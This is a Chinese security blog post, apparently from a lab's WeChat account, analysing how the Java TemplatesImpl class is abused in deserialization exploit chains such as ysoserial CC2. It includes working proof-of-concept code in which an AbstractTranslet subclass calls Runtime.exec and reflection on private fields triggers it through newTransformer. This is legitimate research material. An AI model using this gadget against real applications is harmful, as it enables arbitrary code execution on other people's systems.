『代码审计』TemplatesImpl 利用分析

admin 2023年2月3日19:18:18评论49 views字数 6058阅读20分11秒阅读模式




点击蓝字 关注我们





日期:2023-02-03

作者:ICDAT

介绍:这篇文章主要是对反序列化漏洞中 TemplatesImpl 的利用进行分析。


0x00 前言

上一篇文章,我们对CC2进行分析的时候,发现ysoserial的源码里,没有像CC5那样定义Transformer的数组来执行命令。

我们先来分析一下ysoserial的利用,后面再来看看其他利用链。

0x01 ysoserial#createTemplatesImpl

CC5

『代码审计』TemplatesImpl 利用分析

CC2:

『代码审计』TemplatesImpl 利用分析

通过createTemplatesImpl构建的执行命令的参数。查看源代码,其反射里用到了TemplatesImpl类。

0x02 defineClass

要想了解TemplatesImpl类,我们需要了解一些前置知识。

defineClass用来将byte字节流解析成JVM能够识别的Class对象。简单来说,就是把class字节码文件,转化成虚拟机能识别的Class对象。

defineClassjava.lang.ClassLoader类的方法,其被protected修饰,可以被同包中子类调用。但是其又被final修饰,被final修饰的方法无法在其子类中重写。我们可以通过反射来调用该方法。

『代码审计』TemplatesImpl 利用分析

下面我们来举例实现defineClass转换字节码。

想要实现defineClass方法,需要特别注意一点的是,defineClass被调用的时候,类对象不会初始化,只有这个对象显示的调用其沟通方法,初始化代码才能被执行。

而且,即使将初始化代码放在类的的static块中,在defineClass时也无法被直接调用到。

先定义一个Hello类,然后通过Files.readAllBytes读取Hello类的字节码文件。

Hello.java

public class Hello {    static {        System.out.println("初始化代码块被调用");    }    private String message;
public Hello(String message){ this.message = message; System.out.println("有参构造方法被调用,参数message="+message); }
public Hello(){ System.out.println("无参构造方法被调用"); }}

TestDefine.java:

import java.lang.reflect.Constructor;import java.lang.reflect.Method;import java.nio.file.Files;import java.nio.file.Paths;
public class TestDefine { public static void main(String[] args) throws Exception { //获取Hello类的字节码 byte[] hello = Files.readAllBytes(Paths.get("target/classes/Hello.class"));
//反射调用defineClass Method defineMethod = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class); defineMethod.setAccessible(true); //执行defineMethod方法,传入构造方法Hello,获取Hello类 Class hello1 = (Class) defineMethod.invoke(ClassLoader.getSystemClassLoader(), "Hello", hello, 0, hello.length);
System.out.println("开始调用构造方法"); //调用无参构造方法 hello1.newInstance();
//获取Hello类的有参构造方法 Constructor c1 = hello1.getDeclaredConstructor(String.class); c1.setAccessible(true); //调用有参构造方法 c1.newInstance("123");
}}

查看执行结果:

『代码审计』TemplatesImpl 利用分析

0x03 TemplatesImpl

我们了解了defineClass,那么跟TemplatesImpl有什么关系呢?

我们前面提到了defineClass无法在类外部使用,而且很少会被利用到,但是TemplatesImpl类中给了我们机会,来调用defindClass方法。

TemplatesImpl类的全路径为com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,而且其在rt.jar中。

『代码审计』TemplatesImpl 利用分析

rt.jar存储了java class文件和程序所需的全部资源。

rt.jar代表runtime,包含所有核心Java 运行环境的已编译calss文件。必须在类路径中包含rt.jar,否则您无权访问核心类,例如 java.lang.Stringjava.lang.Threadjava.util.ArrayListjava.io.InputStream等,以及所有Java API中的其他类。

所以正常情况下,都会用到rt.jar文件。

TemplatesImpl类实现了Serializable接口,可进行序列化。

TemplatesImpl中定义了一个静态内部类TransletClassLoader继承了ClassLoader类,该类中重载(不是重写)了defineClass方法,该方法调用了java.lang.ClassLoader#defineClass,使用缺省修饰符即default修饰该类。

『代码审计』TemplatesImpl 利用分析

因为被其在静态类中,访问受限,所以我们需要扩大作用域,来让外部类可以调用。

0x04 defineTransletClasses()

查看TransletClassLoader类的调用,发现defineTransletClasses类调用了该类。

『代码审计』TemplatesImpl 利用分析

我们查看一下defineTransletClasses类的逻辑。

『代码审计』TemplatesImpl 利用分析

上述代码中,
ABSTRACT_TRANSLET="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"

『代码审计』TemplatesImpl 利用分析

_tfactoryTransformerFactoryImpl类。

『代码审计』TemplatesImpl 利用分析

通过上述代码,我们如果想通过defineTransletClasses类来执行任意代码,我们需要构造一个TemplatesImpl类对象,其中的参数需要符合下列要求:

_tfactory 为 TransformerFactoryImpl对象_bytecodes 不为空,且在遍历中通过字节码转成一个类,例如new byte [][]{code}(code为字节码)这种二维数组_transletIndex的值暂时不确定

但是该类修饰符为private,作用域更小了,我们需要再进行回调,寻找更大的作用域。

0x05 getTransletInstance

再次往上回调,发现存在3个方法调用了defineTransletClasses

(1) getTransletClasses方法

『代码审计』TemplatesImpl 利用分析

类修饰符为private,没有对_class进行操作,但是返回了_class,可以尝试继续回调,发现只有此处引用该方法,pass

(2) getTransletIndex方法

『代码审计』TemplatesImpl 利用分析

类修饰符为public,可以直接在外面调用了。

但是查看代码发现,此方法没有对_class做任何操作,没有利用构造方法,没法执行代码,所以这个方法也不行。

(3) getTransletInstance方法

『代码审计』TemplatesImpl 利用分析

类修饰符为private,在_classnull_name不为null时调用defineTransletClasses方法,第455行代码_class[_transletIndex].newInstance()创建了对象,执行了构造方法。_class_transletIndex均来自defineTransletClasses方法。

结合之前对defineTransletClasses方法的分析,superClass的值需要为AbstractTranslet,即字节码应该是AbstractTranslet类的子类。

那么执行任意代码的TemplatesImpl类对象需要符合如下:

_tfactory 为 TransformerFactoryImpl对象_bytecodes 不为空,且在遍历中通过字节码转成一个类,例如new byte [][]{code}(code为字节码)这种二维数组code字节码是AbstractTranslet的子类,从而保证_transletIndex的值为1_class为null (默认初始化为null)_name不为null

但是该方法作用域小,再次尝试回调。

0x06 newTransformer

进行回调发现newTransformer方法调用了getTransletInstance方法。

『代码审计』TemplatesImpl 利用分析

该方法作用域为public,可以通过外部来进行调用。

下列我们尝试利用newTransformer方法来执行计算器。

首先是新建一个AbstractTranslet类的子类,在构造方法或static静态代码块调用计算器。

import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Test extends AbstractTranslet { @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
} public Test() throws IOException { super(); Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator"); }}

因为TemplatesImpl的成员变量都是私有变量,只能通过反射来设置。

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.io.IOException;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;
public class RunTest { public static void main(String[] args) throws Exception { //获取字节码 byte[] bytes = Files.readAllBytes(Paths.get("target/classes/Test.class"));
TemplatesImpl templates = new TemplatesImpl(); //通过反射对私有变量进行赋值 Field tfactory = templates.getClass().getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,new TransformerFactoryImpl());
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); bytecodes.set(templates,new byte[][]{bytes});
Field name = templates.getClass().getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"123123");
//执行newTransformer()方法触发弹窗 templates.newTransformer();

}}

执行代码,成功弹窗。

『代码审计』TemplatesImpl 利用分析

0x07 结语

这篇文章主要是对反序列化漏洞利用中TemplatesImpl类进行动态加载字节码的分析,后续还需要看一下ysoserialCC2利用,以及利用TemplatesImpl类实现的CC2的另一个利用链。

参考:

http://www.chn520.cn/article_detail/1646107441882561https://blog.csdn.net/ni_hao_fan/article/details/95315193java安全漫谈-13.Java中动态加载字节码的那些方法


免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。

『代码审计』TemplatesImpl 利用分析

宸极实验室

宸极实验室隶属山东九州信泰信息科技股份有限公司,致力于网络安全对抗技术研究,是山东省发改委认定的“网络安全对抗关键技术山东省工程实验室”。团队成员专注于 Web 安全、移动安全、红蓝对抗等领域,善于利用黑客视角发现和解决网络安全问题。

团队自成立以来,圆满完成了多次国家级、省部级重要网络安全保障和攻防演习活动,并积极参加各类网络安全竞赛,屡获殊荣。

对信息安全感兴趣的小伙伴欢迎加入宸极实验室,关注公众号,回复『招聘』,获取联系方式。

原文始发于微信公众号(宸极实验室):『代码审计』TemplatesImpl 利用分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月3日19:18:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   『代码审计』TemplatesImpl 利用分析https://cn-sec.com/archives/1535758.html

发表评论

匿名网友 填写信息